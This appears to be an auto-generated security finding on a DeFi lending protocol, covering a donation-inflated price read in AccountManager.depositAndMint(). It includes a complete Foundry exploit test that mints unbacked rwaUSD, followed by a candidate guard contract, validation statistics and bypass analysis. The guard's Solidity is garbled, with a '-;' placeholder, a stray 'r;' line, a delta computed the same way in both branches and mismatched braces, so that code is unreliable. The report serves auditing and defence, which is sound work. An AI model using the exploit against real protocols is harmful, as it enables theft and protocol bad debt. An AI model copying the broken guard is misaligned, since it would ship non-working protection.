

Category	Stale-Price Multicall
Target	GoldAdapter (Vuln C)
Reference Pattern	Generic stale-read pattern (RWA multicall class)
Impact	\$46,000 - unbacked rwaUSD minted (protocol bad debt)

1. Exploit Summary

AccountManager.depositAndMint() reads the price once at the start and reuses it for both share accounting (depositAtPrice) and the principal credit. A donation immediately before the call inflates that single read, so the multicall mints rwaUSD against a stale, inflated valuation — the same conversion-integrity violation as Vuln A, reached via the multicall entry point that a deposit()-scoped guard does not cover.

2. Reproducible Proof-of-Concept

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./Setup.t.sol";

contract _AgentExploit_145bf7d9ed is Setup {
    function testExploit() public {
        address atk = makeAddr("rq_atk_c");
        goldToken.mint(atk, 231_000e18);
        vm.startPrank(atk);
        uint256 fairPrice = priceRouter.getPrice(address(goldAdapter)).price;
        goldToken.transfer(goldPool, 230_000e18); // move the rate before the single price read
        goldToken.approve(address(goldAdapter), 1e18);
        uint256 minted = accountManager.depositAndMint(address(goldAdapter), 1e18);
        vm.stopPrank();
        uint256 fairCollateralValue = 1e18 * fairPrice / 1e18;
        uint256 unbacked = minted - fairCollateralValue;
        console2.log("minted", minted);
        console2.log("PROFIT_USD", unbacked);
        require(minted > fairCollateralValue * 10, "multicall not exploitable");
    }
}
```

3. Candidate Guard

Invariant: ExchangeRateDeltaBound_564B49

Gas overhead (measured): 11,257 gas per deposit (+8.6%)

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./src/GoldAdapter.sol";

/// @notice Generated by invariants/generators.py::exchange_rate_delta_bound
/// Adapter 0xa722bdA6968F50778B973Ae2701e90200C564B49 Max delta 1590 bps Window 1 block(s)
contract ExchangeRateDeltaBound_564B49Guard {
    GoldAdapter public immutable adapter;
    uint256 public constant MAX_DELTA_BPS = 1590;
    uint256 public constant WINDOW_BLOCKS = 1;

    uint256 public checkpointRate;
    uint256 public checkpointBlock;

    constructor(GoldAdapter _adapter) { adapter = _adapter; }

    error ExchangeRateDeltaViolation(uint256 rateBefore, uint256 rateAfter, uint256 deltaBps);

    modifier assertRateDeltaBound() {
        if (checkpointBlock == 0 || block.number >= checkpointBlock + WINDOW_BLOCKS) {
```

```

        checkpointRate = adapter.exchangeRate();
        checkpointBlock = block.number;
    }
    uint256 rateBefore = checkpointRate;
    -;
    uint256 rateAfter = adapter.exchangeRate();
    uint256 delta = rateAfter > rateBefore ? rateAfter - rateBefore : rateAfter - rateBefore;
    r;
    uint256 deltaBps = rateBefore == 0 ? 0 : (delta * 10000) / rateBefore;
    if (deltaBps > MAX_DELTA_BPS) revert ExchangeRateDeltaViolation(rateBefore, rateAfter,
        deltaBps);
}
}
}

```

4. Validation Report

Metric	Value
Corpus size	2,000
Violations in corpus	0
Max observed value	0.0159
Threshold	0.159
Margin ratio	10x
Validation confidence	HIGH within covered scenarios

Coverage warnings:

- No deposits $\geq$ \$1,000,000 and none $\geq$ \$10,000,000 in corpus (max observed: \$998,129.76) -- large-deposit / whale-transaction behavior is entirely untested and any downstream threshold for that band should get manual review before large-deposit deployment.
- GoldAdapter.exchangeRate() and xStockAdapter.exchangeRate() never move off exactly $1e18$ anywhere in this corpus: under purely proportional benign deposits (no bare/donation transfers into the pool) the reserve ratio is mathematically invariant. The deltas recorded for these derived rates are therefore always 0 -- this corpus provides no ground truth for what a *legitimate* small reserve-ratio wobble looks like, so any nonzero exchange-rate movement in a candidate trace will look maximally anomalous by construction, not just donation-attack movement specifically.
- PriceRouter.price[GoldAdapter]/[xStockAdapter] are recorded as reads (getPrice is a view call, not persisted storage) against feeds held constant at \$2000/oz and \$190/share for the entire generation run -- there is no market-volatility scenario in this corpus. Their stats.json entries are all-zero by construction and must not be used as anomaly bounds for legitimate price movement or oracle staleness.
- xStockAdapter.rebaseMultiplier was only exercised across 10 corporate-action events spanning 1076099091418708096 to 1597357340206817536 (roughly 1.00x-1.5x cumulative) -- large one-shot corporate actions (e.g. multi-for-one splits, multiplier jumps of 2x+) are not represented.
- Cross-adapter combined positions (same user holding locked shares in both GoldAdapter and xStockAdapter simultaneously) occurred incidentally for 150/160 users because both adapters are drawn from the same random pool per transaction, not because any scenario deliberately targets multi-collateral exposure -- there is no stress case for e.g. one account maximizing both positions at once, sequencing a gold withdrawal against an xStock mint in the same burst, or otherwise exercising adapter-interaction edge behavior beyond what falls out incidentally.
- No failed/reverted transactions are represented anywhere in the corpus (every generated tx succeeds by construction) -- there is no ground truth for what a legitimate revert (insufficient balance, NOT_ADMIN, NOT_ACCOUNT_MANAGER, arithmetic underflow) looks like versus a genuine attack attempt.
- Withdrawals are modeled as a module-level adapter share-redemption (see do_redeem in this script) since AccountManager has no withdraw() entry point in src/ and xStockAdapter has no redeem() at all (only GoldAdapter does) -- the withdrawal traces in this corpus are therefore a documented extrapolation, not a transcription of an existing on-chain code path.

- All 2,000 transactions were generated by a single deterministic PRNG seed and a fixed set of 160 synthetic addresses -- there is no wallet-level Sybil diversity, no gas-price/mempool context, and no time-of-day/seasonality structure to timestamps beyond random per-tx gaps.
- Benign max for this quantity is 1.59% (dust-deposit rounding); threshold fitted at 10x safety = 15.90%.

5. Bypass Resistance

Resistance score: MEDIUM - requires layered defense

Strategy	Result	Detail
split_into_10_subtransactions	BLOCKED	per-block checkpoint catches the cumulative rate spike
spread_across_20_blocks	BYPASSED	a 1-block window re-checkpoints at the already-inflated rate; the donation in a prior block is not seen as movement during the deposit [mitigation: widen window_blocks to span plausible donation-to-use gaps, or checkpoint on any pool-balance change]
use_multicall_path	BYPASSED	AccountManager.depositAndMint() is not behind the deposit()-scoped guard [mitigation: add the invariant at the AccountManager.depositAndMint() multicall boundary]
gas_variance	BLOCKED	guard is state-based, not gas-based; N/A

6. Recommended Actions

Immediate: Deploy ExchangeRateDeltaBound as a post-condition on GoldAdapter.deposit() — tighten-only, emergency-role compatible, no governance vote (*governance: emergency-role*)

Follow-up: Add the same invariant at the AccountManager.depositAndMint() multicall boundary — closes the alternate-path bypass (*governance: full-vote*)

Review: Widen the guard window (window_blocks > 1) or checkpoint on any pool-balance change — a 1-block window does not catch a donation made in a prior block (*governance: full-vote*)

7. Governance Path

Emergency-role compatible	yes
Timelock required	no
Full vote required for	this multicall-boundary guard